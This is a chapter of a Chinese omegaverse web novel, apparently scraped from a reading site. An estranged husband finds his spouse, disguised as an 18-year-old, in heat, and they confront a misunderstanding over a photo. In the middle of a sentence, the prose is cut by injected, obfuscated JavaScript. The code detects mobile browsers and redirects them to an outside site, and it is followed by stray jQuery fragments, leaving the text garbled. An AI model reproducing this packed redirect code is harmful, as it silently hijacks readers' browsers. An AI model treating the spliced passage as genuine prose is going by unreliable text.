20.抱我
作品:《回到18岁和亲儿子做死党》 结果沈晚潮还是赢下了最后一局对战。
虽然周明晨说不用赢,但既然他有赢的实力,为什么不赢?
就像周明晨在面对连键位都尚不熟练的沈晚潮时都不愿意放水一样,沈晚潮也不会因为没必要赢而放弃本就能获得的胜利。
周明晨不甘心,闹着还要再来一局,却被结束了公事回来的霍赟紧急叫停。
“好不容易到山里来玩儿,你们这群臭小子居然还躲在屋里打游戏。”霍赟满脸不赞成,“快把游戏机关了出去呼吸一下新鲜空气,平时在家里还没玩够吗?”
周明晨和霍庭松意犹未尽,但迫于老父亲威势,不得不听话。
只有沈晚潮真心实意地长舒一口气。
“不舒服吗?要不要去看看医生?”
不知何时,周洄已经来到了沈晚潮面前,看见眼前人染上红晕的脸颊,关心了一句。
从吃完饭开始,沈晚潮就有些头昏脑涨,今日最高温也才十八度,他只穿了一件单衫,却还觉得热。
但出来玩,沈晚潮不想因为自己而劳师动众,摇摇头:“打游戏太专注了,有点缺氧,我回去睡一会儿就好。”
说着他起身,往门外走去。
周洄不疑有他,没再多问,任由他自己回屋休息。
爬楼梯的时候,沈晚潮只觉两条腿灌铅似的沉重,好容易回到屋里,他倒在床上,连盖被子的力气都没有了。
失去意识睡过去之前,沈晚潮的最后一个想法是:
完蛋,该不会真的生病了吧?
---
山庄里配备了几个标准网球场,入住宾客可以免费使用。
周洄经常打网球,周明晨跟在他身边从当球童到当陪练,耳濡目染,多年下来也会打。霍庭松则是从小就被于燕归安排了各种兴趣班,网球这种有益身心又逼格满满的运动,自然不可能没学过。
一局结束,老父亲亲传的周明晨输给了专业名师教导的霍庭松。
两人坐在场边长椅上喝水。
“喂,你怎么不让我赢?”周明晨拧紧瓶盖,似笑非笑地看着霍庭松。
霍庭松一下就明白他话中所指,却不承认,装傻道:“你谁啊,我干嘛要让你?”
周明晨在他肩膀上捶了一拳:“少装蒜,刚才玩游戏,你是故意让沈朝赢的吧,当我瞎子看不出来?”
霍庭松摸着肩膀,笑得阳光明媚,承认道:“他刚会玩儿,我让让他,他才能觉出有趣想继续玩下去啊。”
“就因为这个?”周明晨眼神里显然写着不信,“不是因为你小子心怀不轨?”
“靠。”霍庭松笑意止不住,“从初中起那么多Omega给你暗送秋波你都无动于衷,我还以为你小子很迟钝呢!”
“我只是对谈恋爱不感兴趣,又不是傻缺。”周明晨用胳膊碰碰他,“喂,说实话,你真想当我小婶?”
“小婶?”霍庭松一愣,一巴掌拍过去,“你他妈有病吧!”
“沈朝是我小表叔。”周明晨跳起来躲避,“你要是和他在一起,不就是我小婶吗?”
霍庭松翻了个白眼,回敬道:“我要是和沈朝在一起,你也得管我叫叔。”
“你不嫌弃我把你叫老了,我也不在乎要管你叫叔。”周明晨相当洒脱。
霍庭松从他的话中听出了他的态度,有点意外:“咦?我以为你会反对我追他呢。”
“我举双手双脚支持。”周明晨真举起了手,“你要愿意,我还可以帮你。”
霍庭松乐了,念头一转,就想明白了周明晨如此态度的原因。
“你支持我追沈朝,是因为怕他和你爹……?”
霍庭松压低了声音。
周明晨站着,修长的身影逆着光,整张脸都隐没于阴影之中,不太能看清他的表情。
他没有给出明确的回答,只是问:“别磨磨唧唧的,一句话,追不追?”
霍庭松不是刨根问底的人,也不在乎周明晨到底是出于什么动机才愿意帮自己,对他来说,只要能达成目的,那些都是可以忽略的细节。
他也站起来,走到周明晨身前,语气好似胜券在握:“为什么不?喜欢的人,当然要追。”
---
房间内厚重的窗帘隔绝出一个黑暗而舒适的空间。
沈晚潮一觉睡到了晚上八点,还没有醒转的迹象。
其他人已经吃过了晚饭,坐在院子里喝茶聊天许久,仍旧不见沈晚潮的身影,周洄终于按捺不住,前来找人。
周洄敲了敲门,没有得到回应,便擅自推开门进去。
一开门,一股清幽的、浅淡的,但存在感极强的薄荷味道瞬间扑面而来。
闻上去仿佛和寻常薄荷糖的味道相差无几,可只要是Alpha,便能分辨出——这是Omega信息素的味道。
昭示着在这个房间内,有一个Omega忽然陷入了发情期,于是放出了信息素,召唤他的伴侣前来相陪。
沈晚潮侧着脸趴在床上睡着,连被子都没盖,无知无觉地散发了满屋的气味。
一瞬间,周洄脸上表情一沉,眼底爬上了几条红血丝。
一个月前,沈晚潮留下一句要去国外散心就消失不见,和他一起消失的,还有夫夫二人之间的最终标记。
标记忽然消失,信息素异常波动,周洄陷入了长达一周的易感期,吃了不少药、打了好几针才勉强调理过来,但直至今日他的信息素水平依旧不稳定,每天晨起都需要服药维持。
如今骤然受到Omega信息素的影响,还是那一种曾经他最熟悉、最亲密的味道,周洄此刻竟然还能维持理智,没有立即走过去标记沈晚潮,已经算他定力惊人了。
周洄走进了房间,回手将房门反锁。
来到床边,离得近了,周洄才发现沈晚潮睡得并不安稳,一张脸不舒服地皱着,红晕满布,汗打湿了凌乱的额发,海藻似的揉成一团,嘴唇却苍白到令人心惊。显然他整个人正因突如其来的热.潮而脆弱难耐。
侧趴的姿势,让那截隐藏着腺体的纤长脖颈毫无防备地暴露在外,落在Alpha眼里,和挂着“任君采撷”牌子的成熟蜜桃没有区别。
周洄闭了闭眼,叹了口气,在心里想了一遍分开前沈小兔发来的冷冰冰的消息,才压下了躁动,再度上前。
“醒醒。”Alpha的手按在沈晚潮的肩膀上,晃了晃。
沈晚潮睡得不沉,听见动静,睫毛颤抖两下,便悠悠醒来。
热度如潮水般涌上来,冲刷着他的脑子,让他无法理智思考,看见面前的人是已经结婚多年的丈夫,防备心还未升起,就已经溃散。
沈晚潮早已记不得自己还在假扮高中生,声音发软,带着抱怨:“讨厌的发情期……又该请假了。”
周洄有一瞬间屏住呼吸,他的理智就像是一根吊着千斤重物的麻绳,一股一股地崩开、断裂,只剩下最后一条细线紧紧地绷着。
“我叫管家拿抑制剂过来。”
周洄听见自己的声音在颤抖。
话是这样说,却迟迟不见周洄动作,高大Alpha仍是一动不动站在床边,身躯投下的阴影将沈晚潮整个人笼罩在其中。
听见抑制剂三个字,沈晚潮有片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076814|194780||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻的茫然。
随后他轻轻念出一句话,差点把周洄最后一点理智也磨灭:“为什么要抑制剂?我不想打针,你帮我不行吗?”
说着,沈晚潮已经跪坐了起来,朝周洄张开双臂:“抱我。”
沈晚潮和周洄从小一起长大,情窦初开后便和对方定情,除了最初那几次不算正式的发情期,之后的每一次都有周洄陪着沈晚潮度过。
只要他有需要,周洄就会在他的身边。
所以对沈晚潮来说,抑制剂是很陌生的东西,他用不着,也从不会随身携带。
在遭遇发情期之后,他的第一反应也不会是注射抑制剂,而是向自己的伴侣寻求帮助。
周洄一条腿跪在床边,两人距离霎时拉近。
屋内原本清凉但单调的薄荷香味中丝丝渗入了一道沉稳沁脾乌木味道,一个清甜,一个厚重,差别分明却交.缠不清,将整个房间拖入了信息素的潮.热海水之中。
周洄垂下头,在沈晚潮的耳边低声说:“还记得我说今晚有事要告诉你吗?”
沈晚潮眨眨眼,没明白Alpha在说什么,他的心神已经全部被鼻间的乌木气息占据。
“虽然你现在不清醒,但是我知道你醒过来之后能记得,你每次都记得。”周洄的声音很低沉,“那张照片上的人,的确是我和韩秘书不错,不过我和他之间什么也没有。”
正如周洄所说,沈晚潮现在并没有彻底失去理智。
他在听见“照片”两个字后,眼睛里划过清明。
“那天晚上,韩秘书被灌醉了,我扶了他一把,仅此而已。但被有心人挑选好角度拍下来,就显得让人误会。”
周洄的目光落在沈晚潮的眼睛、鼻尖,最后是嘴唇。
“我知道你为这件事伤心了。”周洄一边说,一边仔细观察眼前人的表情,“我早应该和你解释的,但我……”
我不过是想借此试探,你是不是还爱我。
我们之间的感情平稳沉寂了太久,你又常常离我太远,导致我不得不用这种方式来试探你,看见你为此生气,我可鄙地感到了高兴。
你会怪我幼稚吗?
犹豫一刹那,后半句话还未说出口,那具柔韧的身躯已经主动靠近过来,双臂紧紧环绕住Alpha的脖子。
两人胸膛相贴,心跳共振。
这是原谅自己了吗?
周洄的心稍稍平稳了一些。
沈晚潮埋首于周洄的颈窝间,深深地吸了一口气,随后道:
“叔叔,这种事为什么要和我说呢?”
周洄尚未来得及沉浸于爱人久违的怀抱,便被这句话打了个措手不及。
他猛然回神,抓住沈晚潮的肩膀,将人拉开,不可置信地盯着他的脸。
第一次见到这张和记忆中爱人年轻时一模一样的脸的时候,周洄就猜到了对方的真实身份。
虽然不知道沈晚潮用了什么手段让自己看上去变成了18岁的样子,化妆、美容,抑或是其他的高科技,但在一天天的相处中,周洄越发笃定自己的判断。
更别提后来沈晚潮没有忍住,问了自己对于离婚的想法。
周洄今日会过来,也是因为相信沈朝就是沈晚潮。
直到这一刻,沈晚潮一句话,让他第一次怀疑之前坚信的一切是否真的只是错觉。
“你……”
看见周洄惊讶到明显慌乱的模样,沈晚潮明白自己的恶作剧大获成功,偷偷勾起嘴角。
接着,沈晚潮重新抱住了周洄。
他说:“周洄,我会变成这样全是因为你,你要负全责。”

